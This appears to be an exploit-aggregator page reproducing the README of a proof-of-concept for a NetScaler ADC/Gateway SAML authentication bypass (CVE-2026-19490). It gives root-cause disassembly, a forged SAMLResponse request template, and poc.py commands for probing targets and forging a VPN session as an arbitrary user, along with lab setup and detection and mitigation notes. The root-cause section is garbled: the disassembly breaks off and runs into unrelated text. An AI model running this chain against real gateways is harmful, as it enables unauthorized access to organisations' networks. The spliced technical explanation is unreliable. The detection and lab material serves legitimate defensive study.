Sploitus

Exploit for CVE-2026-19490

githubexploit Β· 2026-09-02

Exploit Code

README122 lines
## https://sploitus.com/exploit?id=C7258768-3C7D-5799-A91E-232A4B91B9BD
# CVE-2026-19490 β€” NetScaler ADC/Gateway SAML authentication bypass

Unauthenticated session forgery on Citrix NetScaler ADC / NetScaler Gateway via the
SAML HTTP-Redirect binding handler at `GET /cgi/samlauth`. CVSS 4.0 9.3, CWE-288.
Bulletin CTX696939 (2026-08-19), no workarounds. Credit for the original report goes
to Samarth Vashisht (JPMorgan Chase pen-test team); the root-cause analysis and the
code in this repo are my own work.

Affected: 14.1 before 14.1-73.32, 13.1 before 13.1-63.21. Fixed in those two builds.

## root cause

Two things go wrong together in `nsppe`, the packet engine.

**1. the redirect binding parses assertions with the strict flag cleared.**

All call sites of the SAML response parser (`sub_b40a50`) set up a "strict" argument
before the call. The POST binding path (what browsers actually use for SAML responses)
passes it set. The HTTP-Redirect binding path does not:

```
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
  b7f532: 41 b8 00 00 00 00     mov    r8d,0x0          ` anywhere, DEFLATE + base64
it, and send:

```
GET /cgi/samlauth?SAMLResponse=&RelayState= HTTP/1.1
Host: 
```

The values that must match the target's SAML action config: assertion Issuer = the
IdP entity ID, Audience = the SP entity ID, Recipient/Destination = the ACS URL, and
on transactional setups an InResponseTo from a live AuthnRequest. `--mint` walks the
gateway's own pre-auth login redirect to capture those (the SAMLRequest in the
Location header carries all of them). A 302 to `/vpn/` plus a real `NSC_AAAC` /
`NSC_TASS` cookie (not the `xyz` deletion markers) is a forged session as whatever
NameID you put in.

## usage

```
pip install requests

# is the endpoint there and does GET binding process SAMLResponse at all
python3 poc.py https://vpn.target.com --check-only

# non-intrusive config probe: unsigned assertion with a deliberately WRONG issuer.
#   'Malformed Assertion' (0xe0005)  -> STRICT, not vulnerable to this vector
#   issuer/policy error (0xe0012)    -> default config, vulnerable; no session minted
python3 poc.py https://vpn.target.com --safe-oracle

# full chain (authorized targets only): mint the SP chain, forge, validate once
python3 poc.py https://vpn.target.com --mint --name-id someone@target.example
```

`--safe-oracle` exists because the two configs return different error pages before
anything session-shaped happens, which is also how defenders can self-check without
touching a real IdP. Run it against your own gear.

## demo

`demo/demo.gif` (also `demo.mp4`, and `demo/demo.cast` if you want to play it with
`asciinema play`): affected build out of the docker image, the word-2 default config,
the two binary branches disassembled from the shipped `nsppe`, and the PoC endpoint
check. The last mile, session issuance, needs a licensed VPX β€” CPX Express refuses
AAA sessions at the licence layer β€” which is what `lab/record-demo.sh` captures when
you have one.

## lab

`lab/setup-cpx.sh` brings up the exact affected build in docker:

```
docker run -dt --privileged --name cpx19490 -e EULA=YES \
    quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
```

and configures a SAML action with `rejectUnsignedAssertion ON`, a policy, and a
Gateway vserver. Two caveats learned the hard way:

- CPX Express carries no SSLVPN/AAA user license. The vserver serves `/cgi/samlauth`
  but every request lands on `480 Login exceeds maximum allowed users`. Good enough
  to reproduce config + endpoint + binary state, not the final session cookie.
- For the full session-issuance run you want a VPX with the free Developer Edition
  license (My Citrix β†’ downloads β†’ NetScaler VPX, then CTX587663 for the license
  flow). Same CLI as in the setup script, then `lab/record-demo.sh` records the whole
  asciinema sequence: version, config, safe-oracle, forged session, STRICT negative
  control.

The shipped-binary offsets above come straight out of that image:

```
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
```

## detection / mitigation

- Upgrade to 14.1-73.32+ / 13.1-63.21+. There is no supported workaround.
- `set samlAction  -samlRejectUnsignedAssertion STRICT` blocks the redirect
  vector on the vulnerable path (it makes word==3). Be aware STRICT also changes
  what the box expects from your IdP (Response + Assertion signing requirements),
  which is presumably why Citrix ships ON as the default and why "just set STRICT"
  is not a clean workaround for everyone.
- Detect: requests to `/cgi/samlauth` carrying `SAMLResponse` on GET (redirect
  binding responses are rare in the wild β€” browsers POST), unsigned payloads, and
  the error-page differential above.

## legal

For authorized security testing only: your own lab, or targets explicitly in scope
for a program you are authorized on. The author is not affiliated with Citrix or
the original reporting team.

## timeline

- 2026-08-19 β€” Citrix bulletin CTX696939, fixes shipped
- 2026-09 β€” this root-cause writeup and PoC

MIT license, see LICENSE.